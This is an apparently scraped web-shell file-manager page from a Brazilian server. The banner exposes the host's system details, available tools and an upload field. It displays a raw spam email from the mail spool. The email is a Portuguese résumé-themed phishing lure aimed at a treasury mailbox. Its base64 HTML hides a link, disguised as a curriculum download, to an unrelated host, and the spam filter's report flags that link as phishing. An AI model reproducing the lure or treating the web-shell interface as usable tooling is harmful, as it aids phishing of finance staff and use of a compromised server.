| Server IP : 162.214.74.102 / Your IP : 216.73.216.252 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/lrsys/././mail/.spam/new/ |
Upload File : |
Return-Path: <vaga1980@express8875.financeirorosa.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
by dedi-4363141.lrsys.com.br with LMTP
id CGM0JFTlyWe+IAAAIWsJAg
(envelope-from <vaga1980@express8875.financeirorosa.biz>)
for <lrsys+spam@dedi-4363141.lrsys.com.br>; Thu, 06 Mar 2025 15:11:32 -0300
Return-path: <vaga1980@express8875.financeirorosa.biz>
Envelope-to: tesouraria@lrsys.com.br
Delivery-date: Thu, 06 Mar 2025 15:11:32 -0300
Received: from express8875.financeirorosa.biz ([37.27.40.58]:34874)
by dedi-4363141.lrsys.com.br with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.98.1)
(envelope-from <vaga1980@express8875.financeirorosa.biz>)
id 1tqFgt-000000002By-2QSj
for tesouraria@lrsys.com.br;
Thu, 06 Mar 2025 15:11:32 -0300
Received: from express8875.financeirorosa.biz (localhost [127.0.0.1])
by express8875.financeirorosa.biz (Postfix) with ESMTP id 8AE3323C48
for <tesouraria@lrsys.com.br>; Thu, 6 Mar 2025 15:10:45 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
d=express8875.financeirorosa.biz; s=default; t=1741284645;
bh=qMMzyi2jmnNDTgz5H8s4R7QhJCyqJFKaJOJMuOF+/SM=;
h=From:To:Reply-To:Date:Subject:From;
b=TbPgItDqZgLXXWA/SGg/nVf8Lbr4XctaiVgonNtSLVeMRoECr4vgqCBFbnoJTc6KS
kfcf77cGybDsO4jRF5t+hW/gwZGdwy8gJkilJdETDSkHtdurIA2jtnhSFvduuNkEtC
xfmblI6VAJRVWCL/+Pg72yEoe8j19wvqlZeY7DXAhEjO5TuCrwxUnDbYfbdVapgqmp
QsNcxLNShpzTsLI3uQponHag8amDSzSB6CZoeVAc2WEZKMRW0pKVLmQO0QCTIDTw/o
g4X6ZHha3oH+mHWBePY5Q1HdcjP6FAjltv4GQpMuswwxb0tOFH/lmX7bsuSSC9FMLs
rKDVPHGxD30ew==
From: "Xenia Andrade" <vaga1980@express8875.financeirorosa.biz>
To: tesouraria@lrsys.com.br
Content-Type: multipart/alternative; boundary="gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd"
MIME-Version: 1.0
Reply-To: yco08@express8875.financeirorosa.biz
Date: Thu, 6 Mar 2025 15:10:45 -0300
Message-Id: <20250306181045.8AE3323C48@express8875.financeirorosa.biz>
X-Spam-Status: Yes, score=11.2
X-Spam-Score: 112
X-Spam-Bar: +++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: An HTML viewer is required to see this message Xenia Andrade
Caro(a) tesouraria@lrsys.com.br,
Content analysis details: (11.2 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: financeirorosa.biz]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: financeirorosa.biz]
5.0 BAYES_99 BODY: Bayes spam probability is 99 to 100%
[score: 1.0000]
1.0 BAYES_999 BODY: Bayes spam probability is 99.9 to 100%
[score: 1.0000]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[37.27.40.58 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[37.27.40.58 listed in sa-accredit.habeas.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
0.8 MPART_ALT_DIFF BODY: HTML and text parts are different
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
0.8 KAM_INFOUSMEBIZ Prevalent use of
.info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
domains in spam/malware
0.8 FROM_FMBLA_NEWDOM28 From domain was registered in last 14-28
days
0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
Colors in HTML
X-Spam-Flag: YES
Subject: ***SPAM*** CV:83219652025
This is a multi-part message in MIME format
--gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
An HTML viewer is required to see this message
--gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline
PCFET0NUWVBFIGh0bWw+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJwdC1iciI+CjxoZWFk
PgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IHN0
eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+CiAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6MThw
eDsiPjxzdHJvbmcgc3R5bGU9ImZvbnQtZmFtaWx5OiBHZW9yZ2lhLCBzZXJpZjsgdGV4dC1hbGln
bjogY2VudGVyOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjSDQyRTI3OyI+WGVuaWEgQW5kcmFkZTwv
c3Bhbj48L3N0cm9uZz48L3NwYW4+CiAgICA8L2Rpdj4KICAgIDxkaXYgc3R5bGU9InRleHQtYWxp
Z246IGxlZnQ7Ij4KICAgICAgPGhyIC8+CiAgICAgIDxwPgogICAgICAgIDxzcGFuIHN0eWxlPSJm
b250LXNpemU6MTRweDsiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogR2VvcmdpYSwgc2VyaWY7
Ij5DYXJvKGEpIHRlc291cmFyaWFAbHJzeXMuY29tLmJyLDwvc3Bhbj48L3NwYW4+CiAgICAgIDwv
cD4KICAgIAogICAgICA8cD4KICAgICAgICA8YSBocmVmPSJoVFRwczovLzc0LTUwLTEyNy00OS5z
dGF0aWMuaHZ2Yy51cy9OMTQzUTBnSVhSWE9SL0pYMHgwQ2lnNUNoWDdUNC9WQl8wMDAzNTQ1Nzkw
MTEiIHRhcmdldD0iX2JsYW5rIiAgZGF0YS1hdXRoPSJOb3RBcHBsaWNhYmxlIiBzdHlsZT0iZGlz
cGxheTogYmxvY2s7IG1heC13aWR0aDogMjkwcHg7IG92ZXJmbG93OiBoaWRkZW47IHRleHQtb3Zl
cmZsb3c6IGVsbGlwc2lzOyB3aGl0ZS1zcGFjZTogbm93cmFwOyB0ZXh0LWRlY29yYXRpb246IG5v
bmU7IHBhZGRpbmc6IDFweCAwOyBib3JkZXI6IG5vbmU7Ij4KICAgICAgICAgIDxzcGFuIHN0eWxl
PSJjb2xvcjogIzE1YzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB2ZXJ0aWNhbC1hbGlnbjogYm90
dG9tOyI+Q3VyciYjMjM3O2N1bG8gWGVuaWEgQW5kcmFkZSAtICgwNDNNQik8L3NwYW4+CiAgICAg
ICAgPC9hPgogICAgICA8L3A+CiAgICAgIAogICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6
IEdlb3JnaWEsIHNlcmlmOyI+QXR0LDwvc3Bhbj4KICAgCiAgICAgICZuYnNwO1hlbmlhIEFuZHJh
ZGUKICAgIDwvZGl2PgogIDwvYm9keT4KPC9odG1sPgo=
--gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd--